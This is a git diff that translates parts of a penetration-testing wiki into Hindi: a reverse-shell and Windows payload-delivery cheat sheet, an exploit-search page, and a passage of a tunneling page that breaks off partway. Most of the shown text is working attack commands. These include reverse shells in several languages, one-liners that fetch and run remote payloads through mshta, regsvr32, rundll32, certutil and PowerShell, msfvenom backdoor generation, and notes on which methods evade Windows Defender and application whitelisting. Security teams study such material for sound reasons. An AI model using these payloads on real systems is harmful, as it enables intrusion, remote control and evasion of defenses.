बहुपरकारी समाधान प्रदान करता है। Windows उपयोगकर्ताओं के लिए, Kali Linux वितरण से sbd.exe संस्करण Netcat के लिए एक विश्वसनीय विकल्प के रूप में उपयोग किया जा सकता है। ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -46,46 +39,34 @@ sbd 10.10.10.10 4444 id uid=0(root) gid=0(root) groups=0(root) ``` - -## Python - +## पायथन ```bash #Windows C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` - -## Perl - +## पर्ल ```bash perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - -## Ruby - +## रूबी ```bash #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - -## Lua - +## लुआ ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## OpenSSH -Attacker (Kali) - +हमलावर (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -Victim - +शिकार ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -93,38 +74,30 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - -## Powershell - +## पॉवरशेल ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')" echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` - -Process performing network call: **powershell.exe**\ -Payload written on disk: **NO** (_at least nowhere I could find using procmon !_) - +नेटवर्क कॉल करने वाली प्रक्रिया: **powershell.exe**\ +डिस्क पर लिखा गया पेलोड: **नहीं** (_कम से कम मैं procmon का उपयोग करके कहीं नहीं मिला !_ ) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` +नेटवर्क कॉल करने वाली प्रक्रिया: **svchost.exe**\ +डिस्क पर लिखा गया पेलोड: **WebDAV क्लाइंट स्थानीय कैश** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -**One liner:** - +**एक लाइन:** ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` - -**Get more info about different Powershell Shells at the end of this document** +**इस दस्तावेज़ के अंत में विभिन्न Powershell Shells के बारे में अधिक जानकारी प्राप्त करें** ## Mshta -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) ``` @@ -136,26 +109,22 @@ mshta http://webserver/payload.hta ```bash mshta \\webdavserver\folder\payload.hta ``` - -#### **Example of hta-psh reverse shell (use hta to download and execute PS backdoor)** - +#### **hta-psh रिवर्स शेल का उदाहरण (PS बैकडोर डाउनलोड और निष्पादित करने के लिए hta का उपयोग करें)** ```xml - + ``` +**आप बहुत आसानी से स्टेजर hta का उपयोग करके Koadic ज़ोंबी डाउनलोड और निष्पादित कर सकते हैं** -**You can download & execute very easily a Koadic zombie using the stager hta** - -#### hta example - -[**From here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) +#### hta उदाहरण +[**यहां से**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) ```xml @@ -163,11 +132,9 @@ mshta \\webdavserver\folder\payload.hta ``` - #### **mshta - sct** -[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) - +[**यहां से**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -178,14 +145,12 @@ mshta \\webdavserver\folder\payload.hta ``` - #### **Mshta - Metasploit** - ```bash use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 @@ -196,15 +161,13 @@ msf exploit(windows/misc/hta_server) > exploit ```bash Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit ``` - -**Detected by defender** +**डिफेंडर द्वारा पता लगाया गया** ## **Rundll32** -[**Dll hello world example**](https://github.com/carterjones/hello-world-dll) - -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +[**Dll हेलो वर्ल्ड उदाहरण**](https://github.com/carterjones/hello-world-dll) +- [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash rundll32 \\webdavserver\folder\payload.dll,entrypoint ``` @@ -212,13 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` - -**Detected by defender** +**डिफेंडर द्वारा पता लगाया गया** **Rundll32 - sct** -[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) - +[**यहां से**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -228,22 +189,18 @@ rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http ``` - #### **Rundll32 - Metasploit** - ```bash use windows/smb/smb_delivery run #You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0 ``` - **Rundll32 - Koadic** - ```bash use stager/js/rundll32_js set SRVHOST 192.168.1.107 @@ -252,11 +209,9 @@ run #Koadic will tell you what you need to execute inside the victim, it will be something like: rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close(); ``` - ## Regsvr32 -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [यहाँ से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` @@ -264,32 +219,28 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` - -**Detected by defender** +**डिफेंडर द्वारा पता लगाया गया** #### Regsvr32 -sct -[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) - +[**यहां से**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) ```markup - ``` - #### **Regsvr32 - Metasploit** - ```bash use multi/script/web_delivery set target 3 @@ -298,50 +249,38 @@ set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` - -**You can download & execute very easily a Koadic zombie using the stager regsvr** +**आप बहुत आसानी से stager regsvr का उपयोग करके Koadic ज़ोंबी डाउनलोड और निष्पादित कर सकते हैं** ## Certutil -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - -Download a B64dll, decode it and execute it. +- [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +एक B64dll डाउनलोड करें, इसे डिकोड करें और इसे निष्पादित करें। ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` - -Download a B64exe, decode it and execute it. - +B64exe डाउनलोड करें, इसे डिकोड करें और इसे निष्पादित करें। ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` - -**Detected by defender** +**डिफेंडर द्वारा पता लगाया गया** ## **Cscript/Wscript** - ```bash powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\"" ``` - **Cscript - Metasploit** - ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs ``` - -**Detected by defender** +**डिफेंडर द्वारा पता लगाया गया** ## PS-Bat - ```bash \\webdavserver\folder\batchfile.bat ``` - -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - +नेटवर्क कॉल करने वाली प्रक्रिया: **svchost.exe**\ +डिस्क पर लिखा गया पेलोड: **WebDAV क्लाइंट स्थानीय कैश** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat impacket-smbserver -smb2support kali `pwd` @@ -350,102 +289,83 @@ impacket-smbserver -smb2support kali `pwd` ```bash \\10.8.0.3\kali\shell.bat ``` - -**Detected by defender** +**डिफेंडर द्वारा पता लगाया गया** ## **MSIExec** -Attacker - +हमलावर ``` msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` - -Victim: - +शिकार: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` - -**Detected** +**पता चला** ## **Wmic** -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash wmic os get /format:"https://webserver/payload.xsl" ``` - -Example xsl file [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): - +उदाहरण xsl फ़ाइल [यहां से](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): ```xml - - - + + + ``` +**नहीं पता चला** -**Not detected** - -**You can download & execute very easily a Koadic zombie using the stager wmic** +**आप स्टेजर wmic का उपयोग करके बहुत आसानी से Koadic ज़ोंबी डाउनलोड और निष्पादित कर सकते हैं** ## Msbuild -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` - -You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.\ -Just download this and execute it: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) - +आप इस तकनीक का उपयोग एप्लिकेशन व्हाइटलिस्टिंग और Powershell.exe प्रतिबंधों को बायपास करने के लिए कर सकते हैं। आपको एक PS शेल के साथ संकेत दिया जाएगा।\ +बस इसे डाउनलोड करें और निष्पादित करें: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ``` - -**Not detected** +**नहीं पता चला** ## **CSC** -Compile C# code in the victim machine. - +शिकार मशीन में C# कोड संकलित करें। ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` +आप यहाँ से एक बुनियादी C# रिवर्स शेल डाउनलोड कर सकते हैं: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) -You can download a basic C# reverse shell from here: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) - -**Not deteted** +**नहीं Detected** ## **Regasm/Regsvc** -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [यहाँ से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll ``` - -**I haven't tried it** +**मैंने इसे आजमाया नहीं है** [**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182) ## Odbcconf -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} ``` - -**I haven't tried it** +**मैंने इसे आजमाया नहीं है** [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2) @@ -455,98 +375,82 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -In the **Shells** folder, there are a lot of different shells. To download and execute Invoke-_PowerShellTcp.ps1_ make a copy of the script and append to the end of the file: - +**Shells** फ़ोल्डर में, कई विभिन्न शेल हैं। Invoke-_PowerShellTcp.ps1_ को डाउनलोड और निष्पादित करने के लिए, स्क्रिप्ट की एक प्रति बनाएं और फ़ाइल के अंत में जोड़ें: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` - -Start serving the script in a web server and execute it on the victim's end: - +एक वेब सर्वर में स्क्रिप्ट को सर्व करना शुरू करें और इसे पीड़ित के अंत पर निष्पादित करें: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` +Defender इसे दुर्भावनापूर्ण कोड के रूप में पहचानता नहीं है (अभी, 3/04/2019)। -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**TODO: Check other nishang shells** +**TODO: अन्य nishang शेल की जांच करें** ### **PS-Powercat** [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) -Download, start a web server, start the listener, and execute it on the victim's end: - +डाउनलोड करें, एक वेब सर्वर शुरू करें, श्रोता शुरू करें, और इसे पीड़ित के अंत पर निष्पादित करें: ``` - powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" +powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` +Defender इसे दुर्भावनापूर्ण कोड के रूप में पहचानता नहीं है (अभी तक, 3/04/2019)। -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**Other options offered by powercat:** +**powercat द्वारा पेश किए गए अन्य विकल्प:** Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... - ``` Serve a cmd Shell: - powercat -l -p 443 -e cmd +powercat -l -p 443 -e cmd Send a cmd Shell: - powercat -c 10.1.1.1 -p 443 -e cmd +powercat -c 10.1.1.1 -p 443 -e cmd Send a powershell: - powercat -c 10.1.1.1 -p 443 -ep +powercat -c 10.1.1.1 -p 443 -ep Send a powershell UDP: - powercat -c 10.1.1.1 -p 443 -ep -u +powercat -c 10.1.1.1 -p 443 -ep -u TCP Listener to TCP Client Relay: - powercat -l -p 8000 -r tcp:10.1.1.16:443 +powercat -l -p 8000 -r tcp:10.1.1.16:443 Generate a reverse tcp payload which connects back to 10.1.1.15 port 443: - powercat -c 10.1.1.15 -p 443 -e cmd -g +powercat -c 10.1.1.15 -p 443 -e cmd -g Start A Persistent Server That Serves a File: - powercat -l -p 443 -i C:\inputfile -rep +powercat -l -p 443 -i C:\inputfile -rep ``` - ### Empire [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) -Create a powershell launcher, save it in a file and download and execute it. - +एक पावरशेल लॉन्चर बनाएं, इसे एक फ़ाइल में सहेजें और डाउनलोड करके निष्पादित करें। ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` - -**Detected as malicious code** +**खतरनाक कोड के रूप में पहचाना गया** ### MSF-Unicorn [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -Create a powershell version of metasploit backdoor using unicorn - +यूनिकॉर्न का उपयोग करके मेटास्प्लॉइट बैकडोर का एक पावरशेल संस्करण बनाएं ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` - -Start msfconsole with the created resource: - +बनाए गए संसाधन के साथ msfconsole शुरू करें: ``` msfconsole -r unicorn.rc ``` - -Start a web server serving the _powershell_attack.txt_ file and execute in the victim: - +एक वेब सर्वर शुरू करें जो _powershell_attack.txt_ फ़ाइल को सर्व करता है और पीड़ित में निष्पादित करें: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` +**खतरनाक कोड के रूप में पहचाना गया** -**Detected as malicious code** +## अधिक -## More +[PS>Attack](https://github.com/jaredhaight/PSAttack) PS कंसोल जिसमें कुछ आक्रामक PS मॉड्यूल प्रीलोडेड हैं (साइफर्ड)\ +[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9)[\ +WinPWN](https://github.com/SecureThisShit/WinPwn) PS कंसोल जिसमें कुछ आक्रामक PS मॉड्यूल और प्रॉक्सी डिटेक्शन है (IEX) -[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console with some offensive PS modules preloaded (cyphered)\ -[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ -WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive PS modules and proxy detection (IEX) - -## References +## संदर्भ - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) - [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x) diff --git a/src/generic-hacking/search-exploits.md b/src/generic-hacking/search-exploits.md index 8d195840a..8ce97efe3 100644 --- a/src/generic-hacking/search-exploits.md +++ b/src/generic-hacking/search-exploits.md @@ -2,24 +2,15 @@ {{#include ../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} - ### Browser -Always search in "google" or others: **\ \[version] exploit** +हमेशा "google" या अन्य में खोजें: **\ \[version] exploit** -You should also try the **shodan** **exploit search** from [https://exploits.shodan.io/](https://exploits.shodan.io). +आपको [https://exploits.shodan.io/](https://exploits.shodan.io) से **shodan** **exploit search** करने की भी कोशिश करनी चाहिए। ### Searchsploit -Useful to search exploits for services in **exploitdb from the console.** - +**exploitdb from the console** में सेवाओं के लिए exploits खोजने के लिए उपयोगी। ```bash #Searchsploit tricks searchsploit "linux Kernel" #Example @@ -29,43 +20,33 @@ searchsploit -p 7618[.c] #Show complete path searchsploit -x 7618[.c] #Open vi to inspect the exploit searchsploit --nmap file.xml #Search vulns inside an nmap xml result ``` - ### Pompem -[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) is another tool to search for exploits +[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) एक और उपकरण है जो exploits की खोज के लिए है ### MSF-Search - ```bash msf> search platform:windows port:135 target:XP type:exploit ``` - ### PacketStorm -If nothing is found, try to search the used technology inside [https://packetstormsecurity.com/](https://packetstormsecurity.com) +यदि कुछ नहीं मिला, तो [https://packetstormsecurity.com/](https://packetstormsecurity.com) के अंदर उपयोग की गई तकनीक की खोज करने का प्रयास करें। ### Vulners -You can also search in vulners database: [https://vulners.com/](https://vulners.com) +आप vulners डेटाबेस में भी खोज सकते हैं: [https://vulners.com/](https://vulners.com) ### Sploitus -This searches for exploits in other databases: [https://sploitus.com/](https://sploitus.com) +यह अन्य डेटाबेस में exploits के लिए खोज करता है: [https://sploitus.com/](https://sploitus.com) ### Sploitify -GTFOBins-like curated list of exploits with filters by vulnerability type (Local Privilege Escalation, Remote Code execution, etc), service type (Web, SMB, SSH, RDP, etc), OS and practice labs (links to machines where you can play with sploits): [https://sploitify.haxx.it](https://sploitify.haxx.it) +GTFOBins-जैसी क्यूरेटेड सूची exploits की है जिसमें भेद्यता प्रकार (स्थानीय विशेषाधिकार वृद्धि, दूरस्थ कोड निष्पादन, आदि), सेवा प्रकार (वेब, SMB, SSH, RDP, आदि), OS और प्रैक्टिस लैब (लिंक मशीनों के लिए जहां आप exploits के साथ खेल सकते हैं) द्वारा फ़िल्टर होते हैं: [https://sploitify.haxx.it](https://sploitify.haxx.it) ### search_vulns -search_vulns enables you to search for known vulnerabilities and exploits as well: [**https://search-vulns.com/**](https://search-vulns.com/). It utilizes various data sources like the NVD, the Exploit-DB, PoC-in-GitHub, the GitHub Security Advisory database and endoflife.date. +search_vulns आपको ज्ञात भेद्यताओं और exploits के लिए खोजने की अनुमति देता है: [**https://search-vulns.com/**](https://search-vulns.com/). यह विभिन्न डेटा स्रोतों का उपयोग करता है जैसे NVD, Exploit-DB, PoC-in-GitHub, GitHub सुरक्षा सलाहकार डेटाबेस और endoflife.date। -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 902da0e5b..b4f9e0da9 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -1,16 +1,15 @@ -# Tunneling and Port Forwarding +# टनलिंग और पोर्ट फॉरवर्डिंग {{#include ../banners/hacktricks-training.md}} -## Nmap tip +## Nmap टिप > [!WARNING] -> **ICMP** and **SYN** scans cannot be tunnelled through socks proxies, so we must **disable ping discovery** (`-Pn`) and specify **TCP scans** (`-sT`) for this to work. +> **ICMP** और **SYN** स्कैन को सॉक्स प्रॉक्सी के माध्यम से टनल नहीं किया जा सकता, इसलिए हमें **पिंग डिस्कवरी** को **अक्षम** करना होगा (`-Pn`) और इसके काम करने के लिए **TCP स्कैन** (`-sT`) निर्दिष्ट करना होगा। ## **Bash** **Host -> Jump -> InternalA -> InternalB** - ```bash # On the jump server connect the port 3333 to the 5985 mknod backpipe p; @@ -26,19 +25,15 @@ cat <&4 >&3 & # From the host, you can now access InternalB from the Jump server evil-winrm -u username -i Jump ``` - ## **SSH** -SSH graphical connection (X) - +SSH ग्राफिकल कनेक्शन (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` - ### Local Port2Port -Open new Port in SSH Server --> Other port - +SSH सर्वर में नया पोर्ट खोलें --> अन्य पोर्ट ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` @@ -46,29 +41,23 @@ ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in ```bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere ``` - ### Port2Port -Local port --> Compromised host (SSH) --> Third_box:Port - +स्थानीय पोर्ट --> समझौता किया गया होस्ट (SSH) --> तीसरा_बॉक्स:पोर्ट ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example sudo ssh -L 631::631 -N -f -l ``` - ### Port2hostnet (proxychains) -Local Port --> Compromised host (SSH) --> Wherever - +स्थानीय पोर्ट --> समझौता किया गया होस्ट (SSH) --> जहाँ भी ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` +### रिवर्स पोर्ट फॉरवर्डिंग -### Reverse Port Forwarding - -This is useful to get reverse shells from internal hosts through a DMZ to your host: - +यह आपके होस्ट के लिए एक DMZ के माध्यम से आंतरिक होस्ट से रिवर्स शेल प्राप्त करने के लिए उपयोगी है: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000 @@ -77,13 +66,11 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # and change the line "GatewayPorts no" to "GatewayPorts yes" # to be able to make ssh listen in non internal interfaces in the victim (443 in this case) ``` - ### VPN-Tunnel -You need **root in both devices** (as you are going to create new interfaces) and the sshd config has to allow root login:\ +आपको **दोनों उपकरणों में रूट** की आवश्यकता है (क्योंकि आप नए इंटरफेस बनाने जा रहे हैं) और sshd कॉन्फ़िगरेशन को रूट लॉगिन की अनुमति देनी होगी:\ `PermitRootLogin yes`\ `PermitTunnel yes` - ```bash ssh root@server -w any:any #This will create Tun interfaces in both devices ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP @@ -91,50 +78,38 @@ ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface 